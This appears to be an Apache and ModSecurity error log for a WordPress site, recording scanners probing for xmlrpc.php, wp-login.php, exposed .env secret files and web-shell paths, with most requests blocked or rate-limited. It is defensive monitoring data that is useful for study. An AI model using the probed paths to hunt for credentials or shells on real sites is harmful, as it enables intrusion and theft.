[Wed Apr 01 04:00:24.466787 2026] [:error] [pid 56138:tid 56152] [client 223.235.103.40:21519] [client 223.235.103.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.235.103.40, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acwn2ED65rTnje8m6ALe4AAAAQg"]
[Wed Apr 01 04:00:24.478658 2026] [proxy_fcgi:error] [pid 56138:tid 56152] [client 223.235.103.40:21519] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:27.990458 2026] [proxy_fcgi:error] [pid 23714:tid 23740] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:28.229049 2026] [proxy_fcgi:error] [pid 23714:tid 23755] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:28.467599 2026] [proxy_fcgi:error] [pid 23714:tid 23742] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:28.705176 2026] [proxy_fcgi:error] [pid 23714:tid 23735] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:28.943514 2026] [proxy_fcgi:error] [pid 23714:tid 23738] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:29.182333 2026] [proxy_fcgi:error] [pid 23714:tid 23741] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:29.420667 2026] [proxy_fcgi:error] [pid 23714:tid 23747] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:29.658637 2026] [proxy_fcgi:error] [pid 23714:tid 23734] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:29.896493 2026] [proxy_fcgi:error] [pid 23714:tid 23739] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:30.143418 2026] [proxy_fcgi:error] [pid 23714:tid 23753] [client 20.19.190.161:55204] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 04:51:30.378002 2026] [:error] [pid 23714:tid 23757] [client 20.19.190.161:55204] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asudo.php"] [unique_id "acwz0kHxDDU2ETcG9DSEwwAAABc"]
[Wed Apr 01 04:51:30.847492 2026] [:error] [pid 23714:tid 23736] [client 20.19.190.161:55136] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asudo.php"] [unique_id "acwz0kHxDDU2ETcG9DSExQAAAAI"]
[Wed Apr 01 04:51:31.317976 2026] [:error] [pid 23715:tid 23763] [client 20.19.190.161:53337] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-asudo.php"] [unique_id "acwz06-REzOruNbiT9wSdgAAAEI"]
[Wed Apr 01 04:51:31.790210 2026] [:error] [pid 23714:tid 23744] [client 20.19.190.161:56012] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-moonka.php"] [unique_id "acwz00HxDDU2ETcG9DSEyAAAAAo"]
[Wed Apr 01 04:51:32.268507 2026] [:error] [pid 24348:tid 24380] [client 20.19.190.161:51498] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "acwz1G0Vs69Y5nF1HA-vCAAAAYE"]
[Wed Apr 01 04:51:32.737771 2026] [:error] [pid 23714:tid 23749] [client 20.19.190.161:55206] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "acwz1EHxDDU2ETcG9DSEzgAAAA8"]
[Wed Apr 01 04:51:33.206750 2026] [:error] [pid 23714:tid 23739] [client 20.19.190.161:53317] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "acwz1UHxDDU2ETcG9DSE0QAAAAU"]
[Wed Apr 01 04:51:33.675863 2026] [:error] [pid 23714:tid 23751] [client 20.19.190.161:55120] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "acwz1UHxDDU2ETcG9DSE0wAAABE"]
[Wed Apr 01 04:51:34.180519 2026] [:error] [pid 23715:tid 23783] [client 20.19.190.161:56027] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "acwz1q-REzOruNbiT9wSeQAAAFY"]
[Wed Apr 01 04:51:34.657741 2026] [:error] [pid 23819:tid 23835] [client 20.19.190.161:46676] [client 20.19.190.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "acwz1tdfUS_37wFAM77PmAAAAM0"]
[Wed Apr 01 05:31:46.549152 2026] [:error] [pid 24348:tid 24381] [client 154.161.16.92:63536] [client 154.161.16.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.161.16.92, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acw9Qm0Vs69Y5nF1HA--9AAAAYI"]
[Wed Apr 01 05:31:46.559698 2026] [proxy_fcgi:error] [pid 24348:tid 24381] [client 154.161.16.92:63536] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 06:36:28.235427 2026] [:error] [pid 24348:tid 24398] [client 207.204.103.39:61674] [client 207.204.103.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.204.103.39, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acxMbG0Vs69Y5nF1HA_XqAAAAZM"]
[Wed Apr 01 06:36:28.247274 2026] [proxy_fcgi:error] [pid 24348:tid 24398] [client 207.204.103.39:61674] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 08:12:06.932007 2026] [:error] [pid 24346:tid 24371] [client 210.107.197.201:58794] [client 210.107.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.107.197.201, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acxi1rc1l8kg9MhGHIKijAAAAVM"]
[Wed Apr 01 08:12:06.943071 2026] [proxy_fcgi:error] [pid 24346:tid 24371] [client 210.107.197.201:58794] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 08:23:50.712201 2026] [:error] [pid 24346:tid 24375] [client 172.86.72.32:49697] [client 172.86.72.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acxllrc1l8kg9MhGHIKmHgAAAVc"]
[Wed Apr 01 08:23:57.445305 2026] [:error] [pid 24348:tid 24385] [client 172.86.72.32:51486] [client 172.86.72.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "acxlnW0Vs69Y5nF1HA_79AAAAYY"]
[Wed Apr 01 08:26:42.644741 2026] [:error] [pid 24348:tid 24392] [client 172.86.72.32:59165] [client 172.86.72.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acxmQm0Vs69Y5nF1HA_9CQAAAY0"]
[Wed Apr 01 08:26:45.295772 2026] [:error] [pid 23715:tid 23767] [client 172.86.72.32:59731] [client 172.86.72.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "acxmRa-REzOruNbiT9yAsAAAAEY"]
[Wed Apr 01 08:26:49.393844 2026] [:error] [pid 24348:tid 24388] [client 172.86.72.32:60942] [client 172.86.72.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "acxmSW0Vs69Y5nF1HA_9FQAAAYk"]
[Wed Apr 01 08:26:51.799584 2026] [:error] [pid 23714:tid 23739] [client 172.86.72.32:61605] [client 172.86.72.32] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "acxmS0HxDDU2ETcG9DQWgAAAAAU"]
[Wed Apr 01 09:41:38.722131 2026] [:error] [pid 24346:tid 24367] [client 112.135.192.84:61996] [client 112.135.192.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.135.192.84, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acx30rc1l8kg9MhGHIK3rgAAAU8"]
[Wed Apr 01 09:41:38.733390 2026] [proxy_fcgi:error] [pid 24346:tid 24367] [client 112.135.192.84:61996] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 09:48:04.808418 2026] [proxy_fcgi:error] [pid 23714:tid 23738] [client 195.154.176.6:56810] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 09:53:56.818749 2026] [:error] [pid 23715:tid 23781] [client 157.245.199.111:58930] [client 157.245.199.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.199.111, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acx6tK-REzOruNbiT9yY7wAAAFQ"]
[Wed Apr 01 09:53:56.829517 2026] [proxy_fcgi:error] [pid 23715:tid 23781] [client 157.245.199.111:58930] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 10:24:19.613411 2026] [:error] [pid 24346:tid 24366] [client 45.4.108.103:5161] [client 45.4.108.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.4.108.103, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acyB07c1l8kg9MhGHILB2QAAAU4"]
[Wed Apr 01 10:24:19.626999 2026] [proxy_fcgi:error] [pid 24346:tid 24366] [client 45.4.108.103:5161] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 10:24:56.625130 2026] [:error] [pid 24314:tid 24330] [client 103.54.29.20:64499] [client 103.54.29.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.54.29.20, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acyB-JRF3FCzjmMUX5YS_AAAAQw"]
[Wed Apr 01 10:24:56.637674 2026] [proxy_fcgi:error] [pid 24314:tid 24330] [client 103.54.29.20:64499] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 13:21:44.909569 2026] [:error] [pid 36686:tid 36715] [client 115.84.115.47:1065] [client 115.84.115.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.84.115.47, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acyraGr812m74nS3wtzn6QAAAhg"]
[Wed Apr 01 13:21:44.920852 2026] [proxy_fcgi:error] [pid 36686:tid 36715] [client 115.84.115.47:1065] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 13:23:20.059965 2026] [:error] [pid 24348:tid 24387] [client 152.59.47.39:56523] [client 152.59.47.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.47.39, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acyryG0Vs69Y5nF1HA96wwAAAYg"]
[Wed Apr 01 13:23:20.072738 2026] [proxy_fcgi:error] [pid 24348:tid 24387] [client 152.59.47.39:56523] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 13:37:07.885895 2026] [:error] [pid 24314:tid 24341] [client 206.212.255.60:58604] [client 206.212.255.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.212.255.60, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acyvA5RF3FCzjmMUX5Y3YAAAARc"]
[Wed Apr 01 13:37:07.897020 2026] [proxy_fcgi:error] [pid 24314:tid 24341] [client 206.212.255.60:58604] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 14:10:50.426820 2026] [:error] [pid 8995:tid 8998] [client 103.249.81.106:60322] [client 103.249.81.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.249.81.106, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acy26uonaBjs3qxcRech0gAAAAA"]
[Wed Apr 01 14:10:50.438448 2026] [proxy_fcgi:error] [pid 8995:tid 8998] [client 103.249.81.106:60322] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 14:22:33.343066 2026] [proxy_fcgi:error] [pid 17856:tid 17878] [client 62.164.177.15:51998] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 15:00:11.657803 2026] [:error] [pid 8995:tid 9005] [client 122.168.66.212:8026] [client 122.168.66.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.168.66.212, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aczCe-onaBjs3qxcRec9BAAAAAc"]
[Wed Apr 01 15:00:11.675319 2026] [proxy_fcgi:error] [pid 8995:tid 9005] [client 122.168.66.212:8026] AH01071: Got error 'Primary script unknown'
[Wed Apr 01 16:23:45.538000 2026] [:error] [pid 17856:tid 17864] [client 185.103.89.95:63643] [client 185.103.89.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.103.89.95, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aczWET7Idlm5j9frhqSCgQAAAEY"]
[Wed Apr 01 16:23:45.549778 2026] [proxy_fcgi:error] [pid 17856:tid 17864] [client 185.103.89.95:63643] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 01:24:19.812938 2026] [:error] [pid 16761:tid 16764] [client 103.133.201.105:54745] [client 103.133.201.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.133.201.105, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac1Uw94bJXDGRqKZnzwm6gAAAEA"]
[Thu Apr 02 01:24:19.824321 2026] [proxy_fcgi:error] [pid 16761:tid 16764] [client 103.133.201.105:54745] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 02:09:17.314376 2026] [:error] [pid 8387:tid 8458] [client 177.66.143.18:5676] [client 177.66.143.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.66.143.18, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac1fTRdQYJ2y8LDYkv8eRgAAABE"]
[Thu Apr 02 02:09:17.326696 2026] [proxy_fcgi:error] [pid 8387:tid 8458] [client 177.66.143.18:5676] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 02:10:22.385188 2026] [:error] [pid 8035:tid 8054] [client 39.35.232.188:54363] [client 39.35.232.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.232.188, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac1fjgY2zflwGmvw_Qb1YgAAAI4"]
[Thu Apr 02 02:10:22.399590 2026] [proxy_fcgi:error] [pid 8035:tid 8054] [client 39.35.232.188:54363] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 02:10:26.965101 2026] [:error] [pid 8035:tid 8051] [client 145.224.121.189:2586] [client 145.224.121.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.224.121.189, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac1fkgY2zflwGmvw_Qb1ewAAAIs"]
[Thu Apr 02 02:10:26.970805 2026] [proxy_fcgi:error] [pid 8035:tid 8051] [client 145.224.121.189:2586] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 03:58:36.838118 2026] [:error] [pid 59201:tid 59288] [client 96.0.160.144:61832] [client 96.0.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ac147MAC0Tw8eL6gzZ5XXgAAAJU"]
[Thu Apr 02 03:58:37.780312 2026] [:error] [pid 29467:tid 29472] [client 96.0.160.144:62154] [client 96.0.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ac147b4VUBFCJAq-WOnoAwAAAQI"]
[Thu Apr 02 03:58:39.669953 2026] [:error] [pid 59305:tid 59325] [client 96.0.160.144:62501] [client 96.0.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ac1476r2tV4rDwKFxKfyAAAAANA"]
[Thu Apr 02 03:58:41.569911 2026] [:error] [pid 59201:tid 59280] [client 96.0.160.144:63247] [client 96.0.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ac148cAC0Tw8eL6gzZ5XbAAAAI0"]
[Thu Apr 02 04:21:59.542982 2026] [:error] [pid 59201:tid 59290] [client 104.28.159.68:50031] [client 104.28.159.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.159.68, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac1-Z8AC0Tw8eL6gzZ5eoAAAAJc"]
[Thu Apr 02 04:21:59.555738 2026] [proxy_fcgi:error] [pid 59201:tid 59290] [client 104.28.159.68:50031] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 04:59:47.180067 2026] [:error] [pid 29467:tid 29490] [client 39.50.227.96:64550] [client 39.50.227.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.50.227.96, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac2HQ74VUBFCJAq-WOkA9AAAARQ"]
[Thu Apr 02 04:59:47.190803 2026] [proxy_fcgi:error] [pid 29467:tid 29490] [client 39.50.227.96:64550] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 06:15:26.046204 2026] [:error] [pid 59305:tid 59316] [client 157.22.19.30:33483] [client 157.22.19.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.22.19.30, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ac2Y_qr2tV4rDwKFxKcUJAAAAMc"]
[Thu Apr 02 06:15:26.059819 2026] [proxy_fcgi:error] [pid 59305:tid 59316] [client 157.22.19.30:33483] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:08:19.385361 2026] [:error] [pid 29467:tid 29471] [client 161.0.155.220:33837] [client 161.0.155.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.0.155.220, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac2lY74VUBFCJAq-WOk2zQAAAQE"]
[Thu Apr 02 07:08:19.398442 2026] [proxy_fcgi:error] [pid 29467:tid 29471] [client 161.0.155.220:33837] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:06.800651 2026] [proxy_fcgi:error] [pid 37543:tid 37561] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:07.067722 2026] [proxy_fcgi:error] [pid 37543:tid 37568] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:07.334804 2026] [proxy_fcgi:error] [pid 37543:tid 37555] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:07.601186 2026] [proxy_fcgi:error] [pid 37543:tid 37548] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:07.867632 2026] [proxy_fcgi:error] [pid 37543:tid 37559] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:08.133660 2026] [proxy_fcgi:error] [pid 37543:tid 37566] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:08.399695 2026] [proxy_fcgi:error] [pid 37543:tid 37569] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:08.665857 2026] [proxy_fcgi:error] [pid 37543:tid 37556] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:08.943636 2026] [proxy_fcgi:error] [pid 37543:tid 37565] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:09.210185 2026] [proxy_fcgi:error] [pid 37543:tid 37562] [client 20.240.45.211:13118] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:09:09.472786 2026] [:error] [pid 37543:tid 37564] [client 20.240.45.211:13118] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ac2llXhdk2bEYJCvILY6HAAAAVM"]
[Thu Apr 02 07:09:09.997914 2026] [:error] [pid 59305:tid 59330] [client 20.240.45.211:12598] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ac2llar2tV4rDwKFxKcgywAAANU"]
